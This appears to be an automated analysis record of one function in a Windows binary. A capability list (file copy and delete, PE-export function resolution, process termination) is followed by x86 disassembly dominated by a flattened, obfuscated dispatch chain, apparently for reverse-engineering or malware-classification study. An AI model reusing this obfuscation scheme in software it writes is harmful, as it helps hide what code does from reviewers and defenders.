Function at 0x432de0
Capabilities:
Accept command line arguments
Copy file
Delete file
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb60
mov esi, esp
mov dword [esi + 0xa48], 0x479ac4fc
mov eax, dword [esi + 0xa48]
mov ecx, eax
sub ecx, 0x851e055c
mov dword [esi + 0xa44], eax
mov dword [esi + 0xa40], ecx
jg 0x432e3f
jmp 0x432e23
mov eax, dword [esi + 0xa44]
sub eax, 0x82e62600
mov dword [esi + 0xa3c], eax
je 0x437ef2
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x87cfa8df
mov dword [esi + 0xa38], eax
jg 0x432e77
jmp 0x432e5b
mov eax, dword [esi + 0xa44]
sub eax, 0x851e055d
mov dword [esi + 0xa34], eax
je 0x438c1e
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x7eb07f9c
mov dword [esi + 0xa30], eax
jg 0x434d87
jmp 0x432e93
mov eax, dword [esi + 0xa44]
sub eax, 0x7dc2e626
mov dword [esi + 0xa2c], eax
jg 0x434d6b
jmp 0x432eaf
mov eax, dword [esi + 0xa44]
sub eax, 0x78ce9193
mov dword [esi + 0xa28], eax
jg 0x434d4f
jmp 0x432ecb
mov eax, dword [esi + 0xa44]
sub eax, 0x76007c20
mov dword [esi + 0xa24], eax
jg 0x434d33
jmp 0x432ee7
mov eax, dword [esi + 0xa44]
sub eax, 0x751a2160
mov dword [esi + 0xa20], eax
jg 0x434d17
jmp 0x432f03
mov eax, dword [esi + 0xa44]
sub eax, 0x7316b1b8
mov dword [esi + 0xa1c], eax
jg 0x434cfb
jmp 0x432f1f
mov eax, dword [esi + 0xa44]
sub eax, 0x72b06ed8
mov dword [esi + 0xa18], eax
jg 0x434cdf
jmp 0x432f3b
mov eax, dword [esi + 0xa44]
sub eax, 0x87da4f66
mov dword [esi + 0xa14], eax
jg 0x432f73
jmp 0x432f57
mov eax, dword [esi + 0xa44]
sub eax, 0x87cfa8e0
mov dword [esi + 0xa10], eax
je 0x4360ca
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8adf57ac
mov dword [esi + 0xa0c], eax
jg 0x432fab
jmp 0x432f8f
mov eax, dword [esi + 0xa44]
sub eax, 0x87da4f67
mov dword [esi + 0xa08], eax
je 0x43609b
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8afa504f
mov dword [esi + 0xa04], eax
jg 0x432fe3
jmp 0x432fc7
mov eax, dword [esi + 0xa44]
sub eax, 0x8adf57ad
mov dword [esi + 0xa00], eax
je 0x438986
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8b4ca2c1
mov dword [esi + 0x9fc], eax
jg 0x43301b
jmp 0x432fff
mov eax, dword [esi + 0xa44]
sub eax, 0x8afa5050
mov dword [esi + 0x9f8], eax
je 0x4359a0
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8b9153f1
mov dword [esi + 0x9f4], eax
jg 0x433053
jmp 0x433037
mov eax, dword [esi + 0xa44]
sub eax, 0x8b4ca2c2
mov dword [esi + 0x9f0], eax
je 0x435b38
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8baf8849
mov dword [esi + 0x9ec], eax
jg 0x43308b
jmp 0x43306f
mov eax, dword [esi + 0xa44]
sub eax, 0x8b9153f2
mov dword [esi + 0x9e8], eax
je 0x435d0a
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8e4e6b50
mov dword [esi + 0x9e4], eax
jg 0x4330c3
jmp 0x4330a7
mov eax, dword [esi + 0xa44]
sub eax, 0x8baf884a
mov dword [esi + 0x9e0], eax
je 0x437cb3
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x8fc534c2
mov dword [esi + 0x9dc], eax
jg 0x4330fb
jmp 0x4330df
mov eax, dword [esi + 0xa44]
sub eax, 0x8e4e6b51
mov dword [esi + 0x9d8], eax
je 0x435e2a
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x959abd22
mov dword [esi + 0x9d4], eax
jg 0x433133
jmp 0x433117
mov eax, dword [esi + 0xa44]
sub eax, 0x8fc534c3
mov dword [esi + 0x9d0], eax
je 0x43a2b3
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x98ebd38e
mov dword [esi + 0x9cc], eax
jg 0x43316b
jmp 0x43314f
mov eax, dword [esi + 0xa44]
sub eax, 0x959abd23
mov dword [esi + 0x9c8], eax
je 0x437f23
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x9e14c3f8
mov dword [esi + 0x9c4], eax
jg 0x4331a3
jmp 0x433187
mov eax, dword [esi + 0xa44]
sub eax, 0x98ebd38f
mov dword [esi + 0x9c0], eax
je 0x43a20f
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x9e8301c2
mov dword [esi + 0x9bc], eax
jg 0x4331db
jmp 0x4331bf
mov eax, dword [esi + 0xa44]
sub eax, 0x9e14c3f9
mov dword [esi + 0x9b8], eax
je 0x437f82
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa35bb321
mov dword [esi + 0x9b4], eax
jg 0x433213
jmp 0x4331f7
mov eax, dword [esi + 0xa44]
sub eax, 0x9e8301c3
mov dword [esi + 0x9b0], eax
je 0x4380b5
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa3c21481
mov dword [esi + 0x9ac], eax
jg 0x43324b
jmp 0x43322f
mov eax, dword [esi + 0xa44]
sub eax, 0xa35bb322
mov dword [esi + 0x9a8], eax
je 0x435aef
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa4ecb0c5
mov dword [esi + 0x9a4], eax
jg 0x433283
jmp 0x433267
mov eax, dword [esi + 0xa44]
sub eax, 0xa3c21482
mov dword [esi + 0x9a0], eax
je 0x4359ce
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa503e395
mov dword [esi + 0x99c], eax
jg 0x4332bb
jmp 0x43329f
mov eax, dword [esi + 0xa44]
sub eax, 0xa4ecb0c6
mov dword [esi + 0x998], eax
je 0x4359be
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa60cc08b
mov dword [esi + 0x994], eax
jg 0x4332f3
jmp 0x4332d7
mov eax, dword [esi + 0xa44]
sub eax, 0xa503e396
mov dword [esi + 0x990], eax
je 0x4357e0
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa728c269
mov dword [esi + 0x98c], eax
jg 0x43332b
jmp 0x43330f
mov eax, dword [esi + 0xa44]
sub eax, 0xa60cc08c
mov dword [esi + 0x988], eax
je 0x435689
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xa9aa6235
mov dword [esi + 0x984], eax
jg 0x433363
jmp 0x433347
mov eax, dword [esi + 0xa44]
sub eax, 0xa728c26a
mov dword [esi + 0x980], eax
je 0x438b36
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xaaef18ba
mov dword [esi + 0x97c], eax
jg 0x43339b
jmp 0x43337f
mov eax, dword [esi + 0xa44]
sub eax, 0xa9aa6236
mov dword [esi + 0x978], eax
je 0x436293
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xac6efcb0
mov dword [esi + 0x974], eax
jg 0x4333d3
jmp 0x4333b7
mov eax, dword [esi + 0xa44]
sub eax, 0xaaef18bb
mov dword [esi + 0x970], eax
je 0x4389fc
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xaec73f17
mov dword [esi + 0x96c], eax
jg 0x43340b
jmp 0x4333ef
mov eax, dword [esi + 0xa44]
sub eax, 0xac6efcb1
mov dword [esi + 0x968], eax
je 0x43a03f
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xb31e5675
mov dword [esi + 0x964], eax
jg 0x433443
jmp 0x433427
mov eax, dword [esi + 0xa44]
sub eax, 0xaec73f18
mov dword [esi + 0x960], eax
je 0x4357ff
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xb3640a5a
mov dword [esi + 0x95c], eax
jg 0x43347b
jmp 0x43345f
mov eax, dword [esi + 0xa44]
sub eax, 0xb31e5676
mov dword [esi + 0x958], eax
je 0x435cef
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xb3f10878
mov dword [esi + 0x954], eax
jg 0x4334b3
jmp 0x433497
mov eax, dword [esi + 0xa44]
sub eax, 0xb3640a5b
mov dword [esi + 0x950], eax
je 0x4389cf
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xbff05eec
mov dword [esi + 0x94c], eax
jg 0x4334eb
jmp 0x4334cf
mov eax, dword [esi + 0xa44]
sub eax, 0xb3f10879
mov dword [esi + 0x948], eax
je 0x43626f
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xc2bd1bf2
mov dword [esi + 0x944], eax
jg 0x433523
jmp 0x433507
mov eax, dword [esi + 0xa44]
sub eax, 0xbff05eed
mov dword [esi + 0x940], eax
je 0x438ae4
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xc65f8192
mov dword [esi + 0x93c], eax
jg 0x43355b
jmp 0x43353f
mov eax, dword [esi + 0xa44]
sub eax, 0xc2bd1bf3
mov dword [esi + 0x938], eax
je 0x4377ad
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xc7c08e30
mov dword [esi + 0x934], eax
jg 0x433593
jmp 0x433577
mov eax, dword [esi + 0xa44]
sub eax, 0xc65f8193
mov dword [esi + 0x930], eax
je 0x435e0b
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xc8c363cd
mov dword [esi + 0x92c], eax
jg 0x4335cb
jmp 0x4335af
mov eax, dword [esi + 0xa44]
sub eax, 0xc7c08e31
mov dword [esi + 0x928], eax
je 0x438a5c
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xcd09c055
mov dword [esi + 0x924], eax
jg 0x433603
jmp 0x4335e7
mov eax, dword [esi + 0xa44]
sub eax, 0xc8c363ce
mov dword [esi + 0x920], eax
je 0x437f13
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xcedcb6ab
mov dword [esi + 0x91c], eax
jg 0x43363b
jmp 0x43361f
mov eax, dword [esi + 0xa44]
sub eax, 0xcd09c056
mov dword [esi + 0x918], eax
je 0x435c52
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xceecd53f
mov dword [esi + 0x914], eax
jg 0x433673
jmp 0x433657
mov eax, dword [esi + 0xa44]
sub eax, 0xcedcb6ac
mov dword [esi + 0x910], eax
je 0x435d2e
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xcf1c7c03
mov dword [esi + 0x90c], eax
jg 0x4336ab
jmp 0x43368f
mov eax, dword [esi + 0xa44]
sub eax, 0xceecd540
mov dword [esi + 0x908], eax
je 0x435d4d
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xd125a4db
mov dword [esi + 0x904], eax
jg 0x4336e3
jmp 0x4336c7
mov eax, dword [esi + 0xa44]
sub eax, 0xcf1c7c04
mov dword [esi + 0x900], eax
je 0x436016
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xd13c76f0
mov dword [esi + 0x8fc], eax
jg 0x43371b
jmp 0x4336ff
mov eax, dword [esi + 0xa44]
sub eax, 0xd125a4dc
mov dword [esi + 0x8f8], eax
je 0x43a292
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x7206325d
mov dword [esi + 0x8f4], eax
jg 0x434cc3
jmp 0x433737
mov eax, dword [esi + 0xa44]
sub eax, 0x71fc5db4
mov dword [esi + 0x8f0], eax
jg 0x434ca7
jmp 0x433753
mov eax, dword [esi + 0xa44]
sub eax, 0x71cc5cc8
mov dword [esi + 0x8ec], eax
jg 0x434c8b
jmp 0x43376f
mov eax, dword [esi + 0xa44]
sub eax, 0x719e0cd7
mov dword [esi + 0x8e8], eax
jg 0x434c6f
jmp 0x43378b
mov eax, dword [esi + 0xa44]
sub eax, 0x6babb085
mov dword [esi + 0x8e4], eax
jg 0x434c53
jmp 0x4337a7
mov eax, dword [esi + 0xa44]
sub eax, 0x6a715c26
mov dword [esi + 0x8e0], eax
jg 0x434c37
jmp 0x4337c3
mov eax, dword [esi + 0xa44]
sub eax, 0x69bea6b7
mov dword [esi + 0x8dc], eax
jg 0x434c1b
jmp 0x4337df
mov eax, dword [esi + 0xa44]
sub eax, 0x6860705b
mov dword [esi + 0x8d8], eax
jg 0x434bff
jmp 0x4337fb
mov eax, dword [esi + 0xa44]
sub eax, 0x67c93b60
mov dword [esi + 0x8d4], eax
jg 0x434be3
jmp 0x433817
mov eax, dword [esi + 0xa44]
sub eax, 0x66db6c9d
mov dword [esi + 0x8d0], eax
jg 0x434bc7
jmp 0x433833
mov eax, dword [esi + 0xa44]
sub eax, 0x64e0bce7
mov dword [esi + 0x8cc], eax
jg 0x434bab
jmp 0x43384f
mov eax, dword [esi + 0xa44]
sub eax, 0x64a9f529
mov dword [esi + 0x8c8], eax
jg 0x434b8f
jmp 0x43386b
mov eax, dword [esi + 0xa44]
sub eax, 0x643b5e0e
mov dword [esi + 0x8c4], eax
jg 0x434b73
jmp 0x433887
mov eax, dword [esi + 0xa44]
sub eax, 0x63a2efb3
mov dword [esi + 0x8c0], eax
jg 0x434b57
jmp 0x4338a3
mov eax, dword [esi + 0xa44]
sub eax, 0x62da80d3
mov dword [esi + 0x8bc], eax
jg 0x434b3b
jmp 0x4338bf
mov eax, dword [esi + 0xa44]
sub eax, 0x620df216
mov dword [esi + 0x8b8], eax
jg 0x434b1f
jmp 0x4338db
mov eax, dword [esi + 0xa44]
sub eax, 0x602f63c4
mov dword [esi + 0x8b4], eax
jg 0x434b03
jmp 0x4338f7
mov eax, dword [esi + 0xa44]
sub eax, 0x5ac257ba
mov dword [esi + 0x8b0], eax
jg 0x434ae7
jmp 0x433913
mov eax, dword [esi + 0xa44]
sub eax, 0x5aa4553a
mov dword [esi + 0x8ac], eax
jg 0x434acb
jmp 0x43392f
mov eax, dword [esi + 0xa44]
sub eax, 0x57f6fabc
mov dword [esi + 0x8a8], eax
jg 0x434aaf
jmp 0x43394b
mov eax, dword [esi + 0xa44]
sub eax, 0x577d51d8
mov dword [esi + 0x8a4], eax
jg 0x434a93
jmp 0x433967
mov eax, dword [esi + 0xa44]
sub eax, 0x5644a11e
mov dword [esi + 0x8a0], eax
jg 0x434a77
jmp 0x433983
mov eax, dword [esi + 0xa44]
sub eax, 0x52c7066d
mov dword [esi + 0x89c], eax
jg 0x434a5b
jmp 0x43399f
mov eax, dword [esi + 0xa44]
sub eax, 0x50c25dfc
mov dword [esi + 0x898], eax
jg 0x434a3f
jmp 0x4339bb
mov eax, dword [esi + 0xa44]
sub eax, 0x4fc0b285
mov dword [esi + 0x894], eax
jg 0x434a23
jmp 0x4339d7
mov eax, dword [esi + 0xa44]
sub eax, 0x4c897849
mov dword [esi + 0x890], eax
jg 0x434a07
jmp 0x4339f3
mov eax, dword [esi + 0xa44]
sub eax, 0x4c19deee
mov dword [esi + 0x88c], eax
jg 0x4349eb
jmp 0x433a0f
mov eax, dword [esi + 0xa44]
sub eax, 0xd13ff333
mov dword [esi + 0x888], eax
jg 0x433a47
jmp 0x433a2b
mov eax, dword [esi + 0xa44]
sub eax, 0xd13c76f1
mov dword [esi + 0x884], eax
je 0x437b06
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xd4636d6d
mov dword [esi + 0x880], eax
jg 0x433a7f
jmp 0x433a63
mov eax, dword [esi + 0xa44]
sub eax, 0xd13ff334
mov dword [esi + 0x87c], eax
je 0x437ca4
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xd72f1742
mov dword [esi + 0x878], eax
jg 0x433ab7
jmp 0x433a9b
mov eax, dword [esi + 0xa44]
sub eax, 0xd4636d6e
mov dword [esi + 0x874], eax
je 0x438a40
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xd9ae5118
mov dword [esi + 0x870], eax
jg 0x433aef
jmp 0x433ad3
mov eax, dword [esi + 0xa44]
sub eax, 0xd72f1743
mov dword [esi + 0x86c], eax
je 0x43a0e9
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xd9da456c
mov dword [esi + 0x868], eax
jg 0x433b27
jmp 0x433b0b
mov eax, dword [esi + 0xa44]
sub eax, 0xd9ae5119
mov dword [esi + 0x864], eax
je 0x435a24
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xdfb5a6b2
mov dword [esi + 0x860], eax
jg 0x433b5f
jmp 0x433b43
mov eax, dword [esi + 0xa44]
sub eax, 0xd9da456d
mov dword [esi + 0x85c], eax
je 0x437b16
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xe054af02
mov dword [esi + 0x858], eax
jg 0x433b97
jmp 0x433b7b
mov eax, dword [esi + 0xa44]
sub eax, 0xdfb5a6b3
mov dword [esi + 0x854], eax
je 0x43800c
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xe1010c7f
mov dword [esi + 0x850], eax
jg 0x433bcf
jmp 0x433bb3
mov eax, dword [esi + 0xa44]
sub eax, 0xe054af03
mov dword [esi + 0x84c], eax
je 0x435adf
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xe311de38
mov dword [esi + 0x848], eax
jg 0x433c07
jmp 0x433beb
mov eax, dword [esi + 0xa44]
sub eax, 0xe1010c80
mov dword [esi + 0x844], eax
je 0x4378ce
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xe6cc002c
mov dword [esi + 0x840], eax
jg 0x433c3f
jmp 0x433c23
mov eax, dword [esi + 0xa44]
sub eax, 0xe311de39
mov dword [esi + 0x83c], eax
je 0x435b48
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xe7e26699
mov dword [esi + 0x838], eax
jg 0x433c77
jmp 0x433c5b
mov eax, dword [esi + 0xa44]
sub eax, 0xe6cc002d
mov dword [esi + 0x834], eax
je 0x437600
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xe8ba3987
mov dword [esi + 0x830], eax
jg 0x433caf
jmp 0x433c93
mov eax, dword [esi + 0xa44]
sub eax, 0xe7e2669a
mov dword [esi + 0x82c], eax
je 0x438e10
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xebe375ff
mov dword [esi + 0x828], eax
jg 0x433ce7
jmp 0x433ccb
mov eax, dword [esi + 0xa44]
sub eax, 0xe8ba3988
mov dword [esi + 0x824], eax
je 0x438093
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xec0e9a5d
mov dword [esi + 0x820], eax
jg 0x433d1f
jmp 0x433d03
mov eax, dword [esi + 0xa44]
sub eax, 0xebe37600
mov dword [esi + 0x81c], eax
je 0x435679
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xec19a576
mov dword [esi + 0x818], eax
jg 0x433d57
jmp 0x433d3b
mov eax, dword [esi + 0xa44]
sub eax, 0xec0e9a5e
mov dword [esi + 0x814], eax
je 0x43a25e
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xf038159b
mov dword [esi + 0x810], eax
jg 0x433d8f
jmp 0x433d73
mov eax, dword [esi + 0xa44]
sub eax, 0xec19a577
mov dword [esi + 0x80c], eax
je 0x43a236
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xf3957315
mov dword [esi + 0x808], eax
jg 0x433dc7
jmp 0x433dab
mov eax, dword [esi + 0xa44]
sub eax, 0xf038159c
mov dword [esi + 0x804], eax
je 0x435c9d
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xf4d794d3
mov dword [esi + 0x800], eax
jg 0x433dff
jmp 0x433de3
mov eax, dword [esi + 0xa44]
sub eax, 0xf3957316
mov dword [esi + 0x7fc], eax
je 0x437be8
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xf7090130
mov dword [esi + 0x7f8], eax
jg 0x433e37
jmp 0x433e1b
mov eax, dword [esi + 0xa44]
sub eax, 0xf4d794d4
mov dword [esi + 0x7f4], eax
je 0x435a03
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0xf8d76e8b
mov dword [esi + 0x7f0], eax
jg 0x433e6f
jmp 0x433e53
mov eax, dword [esi + 0xa44]
sub eax, 0xf7090131
mov dword [esi + 0x7ec], eax
je 0x4380c5
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x1a81efa
mov dword [esi + 0x7e8], eax
jg 0x433ea7
jmp 0x433e8b
mov eax, dword [esi + 0xa44]
sub eax, 0xf8d76e8c
mov dword [esi + 0x7e4], eax
je 0x437991
mov eax, dword [esi + 0xa44]
sub eax, 0x2876366
mov dword [esi + 0x7e0], eax
jg 0x433edf
jmp 0x433ec3
mov eax, dword [esi + 0xa44]
sub eax, 0x2f28594
mov dword [esi + 0x7d8], eax
jg 0x433f17
mov eax, dword [esi + 0xa44]
sub eax, 0x4c19deef
mov dword [esi + 0x644], eax
je 0x434db8
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x4c89784a
mov dword [esi + 0x640], eax
je 0x4379c2
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x4fc0b286
mov dword [esi + 0x63c], eax
je 0x438083
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x50c25dfd
mov dword [esi + 0x638], eax
je 0x43577a
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x52c7066e
mov dword [esi + 0x634], eax
je 0x4372e4
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x5644a11f
mov dword [esi + 0x630], eax
je 0x437a5e
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x577d51d9
mov dword [esi + 0x62c], eax
je 0x435974
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x57f6fabd
mov dword [esi + 0x628], eax
je 0x43a173
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x5aa4553b
mov dword [esi + 0x624], eax
je 0x4359af
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x5ac257bb
mov dword [esi + 0x620], eax
je 0x439fe9
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x602f63c5
mov dword [esi + 0x61c], eax
je 0x437c25
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x620df217
mov dword [esi + 0x618], eax
je 0x4380f4
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x62da80d4
mov dword [esi + 0x614], eax
je 0x438b61
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x63a2efb4
mov dword [esi + 0x610], eax
je 0x437342
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x643b5e0f
mov dword [esi + 0x60c], eax
je 0x436025
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x64a9f52a
mov dword [esi + 0x608], eax
je 0x43a21e
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x64e0bce8
mov dword [esi + 0x604], eax
je 0x437dfe
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x66db6c9e
mov dword [esi + 0x600], eax
je 0x437860
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x67c93b61
mov dword [esi + 0x5fc], eax
je 0x436260
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x6860705c
mov dword [esi + 0x5f8], eax
je 0x437e6b
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x69bea6b8
mov dword [esi + 0x5f4], eax
je 0x437fd1
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x6a715c27
mov dword [esi + 0x5f0], eax
je 0x437eca
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x6babb086
mov dword [esi + 0x5ec], eax
je 0x43588f
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x719e0cd8
mov dword [esi + 0x5e8], eax
je 0x437305
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x71cc5cc9
mov dword [esi + 0x5e4], eax
je 0x4379b2
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x71fc5db5
mov dword [esi + 0x5e0], eax
je 0x4362a3
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x7206325e
mov dword [esi + 0x5dc], eax
je 0x438fd7
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x72b06ed9
mov dword [esi + 0x5d8], eax
je 0x435880
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x7316b1b9
mov dword [esi + 0x5d4], eax
je 0x4378be
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x751a2161
mov dword [esi + 0x5d0], eax
je 0x435759
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x76007c21
mov dword [esi + 0x5cc], eax
je 0x435bf0
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x78ce9194
mov dword [esi + 0x5c8], eax
je 0x43585e
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x7dc2e627
mov dword [esi + 0x5c4], eax
je 0x437672
jmp 0x434da3
mov eax, dword [esi + 0xa44]
sub eax, 0x7eb07f9d
mov dword [esi + 0x5c0], eax
je 0x43582d
jmp 0x434da3
jmp 0x43a2cd
mov eax, 0
mov ecx, 0xa
mov edx, 0x10
mov edi, 0x28
mov ebx, 0xc8
mov dword [esi + 0x5bc], eax
mov eax, 0x20a
mov dword [esi + 0x5b8], eax
mov eax, 0x3c
mov dword [esi + 0x5b4], eax
mov eax, 4
mov dword [esi + 0x5b0], eax
mov dword [esi + 0x5ac], ebx
mov dword [esi + 0x5a8], ecx
mov dword [esi + 0x5a4], edx
mov dword [esi + 0x5a0], edi
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa4c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa50], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa54], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa58], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa5c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa60], eax
mov eax, 0x3c
call fcn.0041e740
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0xa64], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa68], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa6c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa70], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa74], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa78], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa7c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa80], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa84], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa88], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa8c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa90], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa94], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa98], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xa9c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaa0], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaa4], eax
mov eax, 0x20c
mov dword [esi + 0x59c], eax
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaa8], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaac], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xab0], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xab4], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xab8], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xabc], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xac0], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xac4], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xac8], eax
